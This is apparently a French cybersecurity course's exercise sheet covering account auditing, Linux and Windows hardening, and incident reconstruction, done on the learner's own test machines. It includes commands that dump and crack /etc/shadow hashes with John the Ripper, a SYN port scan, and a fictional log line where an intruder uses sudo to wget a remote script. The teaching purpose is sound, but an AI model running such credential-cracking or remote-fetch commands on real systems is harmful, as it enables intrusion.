Cybersécurité — Exercices supplémentaires (séances 1 à 4)

Séance 1 — Identités et accès

Exercices liés à la séance 1.

Exercice 1 — Casser des mots de passe faibles (sur sa VM)

Créez trois comptes de test — faible1, faible2, fort1 — avec respectivement azerty, Soleil2026 et une phrase de passe de plus de 20 caractères. Lancez ensuite une attaque par dictionnaire sur les empreintes :

sudo unshadow /etc/passwd /etc/shadow > empreintes.txt
john --format=crypt --wordlist=/usr/share/john/password.lst empreintes.txt

Q1. Lesquels sont trouvés, et en combien de temps ?

Q2. Pourquoi la phrase de passe résiste-t-elle ?

Q3. Pourquoi faut-il supprimer empreintes.txt à la fin ?

Exercice 2 — sudo à moindre privilège

Le compte testsec doit pouvoir redémarrer Apache, et rien d’autre. Avec sudo visudo -f /etc/sudoers.d/testsec, ajoutez :

testsec ALL=(root) /usr/bin/systemctl restart apache2

1. Vérifiez la règle : sudo -l -U testsec.
2. Essayez un systemctl stop pour constater le refus.
3. Retrouvez la tentative dans les journaux : journalctl -t sudo.

Q4. Quel pilier AAA chaque étape illustre-t-elle ?

Exercice 3 — Audit des comptes AD

Sur l’AD de test, listez :

# Membres des Admins du domaine
Get-ADGroupMember "Admins du domaine" -Recursive
# Comptes inactifs depuis 90 jours
Search-ADAccount -AccountInactive -TimeSpan 90.00:00:00 -UsersOnly
# Comptes dont le mot de passe n'expire jamais
Get-ADUser -Filter 'PasswordNeverExpires -eq $true'

Q5. Rédigez trois recommandations à partir de ces listes.

Séance 2 — Durcissement Linux

Exercices liés à la séance 2.

Exercice 1 — Mesurer le durcissement avec Lynis

Lancez un audit, notez le Hardening index, appliquez trois suggestions, relancez et comparez.

sudo apt install -y lynis
sudo lynis audit system
# relever le 'Hardening index' en fin de rapport

Q6. Pourquoi un score de 100 n’est-il pas un objectif réaliste ?

Exercice 2 — Mises à jour de sécurité automatiques

Installez et activez unattended-upgrades, puis vérifiez les journaux :

sudo dpkg-reconfigure -plow unattended-upgrades
ls /var/log/unattended-upgrades/

Q7. Quels risques présente une mise à jour automatique sur un serveur de production ?

Q8. Quels risques présente au contraire une machine jamais mise à jour ?

Q9. Proposez un compromis.

Exercice 3 — Chasser les droits dangereux

Repérez :

# Fichiers SUID
sudo find / -xdev -perm -4000 -type f 2>/dev/null
# Fichiers modifiables par tous
sudo find / -xdev -type f -perm -0002 2>/dev/null

Q10. Pour deux fichiers SUID, expliquez pourquoi ils ont ce bit.

Q11. Pourquoi un SUID ajouté sur un programme comme vim ou find permettrait-il d’obtenir les droits root ?

Séance 3 — Durcissement Windows

Exercices liés à la séance 3.

Exercice 1 — SMBv1 et partages exposés

1. Vérifiez si SMBv1 est actif.
2. Listez les partages et leurs droits.
3. Désactivez SMBv1.

Get-SmbServerConfiguration | Select-Object EnableSMB1Protocol
Get-SmbShare
Get-SmbShareAccess -Name <partage>
Set-SmbServerConfiguration -EnableSMB1Protocol $false

Q12. Faites une recherche rapide : quel rançongiciel de 2017 a exploité SMBv1 ?

Exercice 2 — Activer l’audit des connexions

1. Affichez la politique d’audit : auditpol /get /category:*.
2. Activez l’audit des ouvertures de session (réussites et échecs). Le GUID évite de dépendre de la langue de Windows :

auditpol /set /subcategory:"{0CCE9215-69AE-11D9-BED3-505054503030}" `
    /success:enable /failure:enable

3. Provoquez trois échecs de connexion, puis retrouvez-les (événement 4625).

Exercice 3 — État de Microsoft Defender

1. Relevez l’état de l’antivirus :

Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled, AntivirusSignatureLastUpdated

2. Testez la détection avec le fichier de test EICAR (eicar.org), qui est inoffensif.
3. Retrouvez l’alerte dans l’historique de protection.

Q13. Pourquoi un antivirus désactivé doit-il déclencher une alerte de supervision ?

Séance 4 — Détection et réponse

Exercices liés à la séance 4.

Exercice 1 — Reconstituer un incident à partir d’un journal

Voici un extrait fictif de auth.log :

Oct 14 02:13:05 srv-web sshd[812]: Invalid user admin from 203.0.113.45 port 51122
Oct 14 02:13:07 srv-web sshd[814]: Invalid user oracle from 203.0.113.45 port 51130
Oct 14 02:13:09 srv-web sshd[816]: Failed password for deploy from 203.0.113.45 port 51138 ssh2
Oct 14 02:13:12 srv-web sshd[818]: Failed password for deploy from 203.0.113.45 port 51146 ssh2
Oct 14 02:13:15 srv-web sshd[820]: Accepted password for deploy from 203.0.113.45 port 51154 ssh2
Oct 14 02:14:02 srv-web sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/wget http://198.51.100.7/x.sh

Q14. Reconstituez la chronologie.

Q15. Quelles mesures des séances 1 et 2 auraient bloqué l’attaque, et à quelle étape ?

Q16. Quelles sont vos trois premières actions ?

Exercice 2 — Voir un scan de ports passer

Depuis l’observateur, scannez votre propre VM cible, en capturant côté cible :

# observateur
sudo nmap -sS <ip-cible>
# cible (en parallèle)
sudo tcpdump -n -i any 'tcp[tcpflags] & tcp-syn != 0'

Q17. Décrivez la signature d’un scan.

Q18. Pourquoi Fail2ban, configuré pour SSH, ne le détecte-t-il pas ?

Exercice 3 — Rédiger la fiche d’incident

Remplissez une fiche d’incident pour l’exercice 1, avec ces rubriques :

• date et heure de détection, et qui a détecté ;
• périmètre touché ;
• actions menées, horodatées ;
• éléments de preuve conservés ;
• cause racine ;
• mesures correctives ;
• leçons retenues.

C’est le livrable attendu en entreprise, et un bon support pour l’épreuve E6.

Synthèse transversale